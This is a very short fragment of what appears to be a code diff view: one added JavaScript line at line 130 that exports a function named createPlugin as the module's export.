|
|
130
|
+
module.exports = createPlugin;
|